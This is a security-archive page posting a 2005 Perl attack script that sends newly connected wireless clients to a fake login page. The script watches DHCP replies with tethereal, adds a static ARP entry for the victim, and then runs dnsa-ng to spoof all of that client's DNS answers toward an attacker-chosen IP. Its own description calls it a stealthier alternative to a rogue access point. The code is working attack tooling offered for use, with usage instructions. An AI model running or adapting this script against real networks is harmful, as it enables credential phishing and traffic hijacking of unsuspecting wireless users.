what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

wlan_webauth.txt

wlan_webauth.txt
Posted Sep 27, 2005
Authored by Craig Heffner

This is a quick script to redirect a wireless client to a fake a login page for a WLAN. This is much stealthier than implementing a rouge AP in conjunction with layer 1/2 attacks against the WAP. It uses tethereal to listen for IP addresses being assigned to a new wireless client via DHCP, then runs dnsa-ng to redirect DNS queries from the new client to the specified IP.

tags | tool, wireless
SHA-256 | 17b5108909bf86dbdef1d4982b0cebc5b7051fe0b86c0c2f0fafbd25ace69bbd

wlan_webauth.txt

Change Mirror Download
#!/usr/bin/perl
#########################################################################################################
#Description:
# This is a quick script to redirect a wireless client to a fake a login page for a WLAN. This is much
# stealthier than implementing a rouge AP in conjunction with layer 1/2 attacks against the WAP. It
# uses tethereal to listen for IP addresses being assigned to a new wireless client via DHCP, then
# runs dnsa-ng to redirect DNS queries from the new client to the specified IP.
#
#Usage:
# ./wlan_webauth <input interface> <ip address to spoof> <output interface>
#
#Dependancies:
# Uses tethereal and Pierre Betouin's dnsa-ng (http://www.packetfactory.net/projects/dnsa/).
#
#Supported platforms:
# Tested on linux 2.6, with Prisim 2.5 (HostAP drivers) and Atheros (Madwifi drivers) wireless
# cards.
#
#Notes:
# Input interface must be placed in monitor mode.
#
#Craig Heffner
#08/06/05
###########################################################################################################


#check usage
if($#ARGV+1<3){
print "\nUsage: wlan_webauth <input interface> <ip address to spoof> <output interface>\n\nExample: #./wlan_webauth ath0 192.168.0.102 wlan0\n\n";
exit;
}

#run tethereal to look for DHCP replies and grep for the assigned address
open(ETHEREAL, "tethereal -i $ARGV[0] -c 1 -V -R 'bootp.type == 2' | grep -e 'Your (client) IP address:' -e 'MAC address:' |");
while($a<2){
$output.=<ETHEREAL>;
$a++;
}
close(ETHEREAL);

#pull out the IP and MAC address from the string passed into $output
if($output =~ /\b(IP address:)\s+(\S+)/i){
$ip=$2;
}
if($output =~ /\b(MAC address:)\s+(\S+)/i){
$mac=$2;
}


#add the client's MAC/IP to arp table to speed things up, and print out new arp table listings
system "arp -s $ip $mac";
system "arp";

#run dnsa-ng to spoof replies to all DNS requests from the new client
system "dnsa-ng -m raw4 -t wifi -1 -S $ARGV[1] -s $ip -i $ARGV[0] -I $ARGV[2]";

exit;
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close